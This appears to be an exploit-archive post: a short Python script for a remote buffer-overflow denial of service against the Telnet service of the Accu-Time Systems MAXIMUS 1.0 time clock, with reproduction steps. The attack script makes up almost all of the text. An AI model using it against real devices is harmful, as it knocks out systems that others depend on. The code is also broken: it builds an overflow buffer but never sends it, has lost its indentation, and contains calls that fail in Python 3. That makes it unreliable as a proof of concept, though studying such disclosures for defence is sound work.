Accu-Time Systems MAXIMUS 1.0 Buffer Overflow / Denial Of Service

`# Exploit Title: Accu-Time Systems MAXIMUS 1.0 Telnet Remote Buffer Overflow  
# Discovered by: Yehia Elghaly  
# Discovered Date: 2021-12-22  
# Vendor Homepage: https://www.accu-time.com/  
# Software Link : https://www.accu-time.com/maximus-employee-time-clock-3/  
# Tested Version: 1.0  
# Vulnerability Type: Buffer Overflow (DoS) Remote  
# Tested on OS: linux   
  
# Description: Accu-Time Systems MAXIMUS 1.0 Telnet Remote Buffer Overflow  
  
# Steps to reproduce:  
# 1. - Accu-Time Systems MAXIMUS 1.0 Telnet listening on port 23  
# 2. - Run the Script from remote PC/IP  
# 3. - Telnet Crashed  
  
#!/usr/bin/env python3  
  
import socket  
import sys  
print("#######################################################")  
print("# Accu-Time Systems MAXIMUS Remote (BUffer Overflow) #")  
print("# -------------------------- #")  
print("# BY Yehia Elghaly #")  
print("#######################################################")  
  
if (len(sys.argv)<2):  
print ("Usage: %s <Target Host> ") % sys.argv[0]  
print ("Example: %s 192.168.113.1 ") % sys.argv[0]  
exit(0)  
  
print ("\nSending Evil.......Buffer...")  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
  
try:  
s.connect((sys.argv[1], 23))  
buffer = "A"*9400  
s.send(" Crashed Check the connection")  
Print ("Crashed")  
except:  
print ("Could not connect to ACCU Time Telnet!")  
  
  
`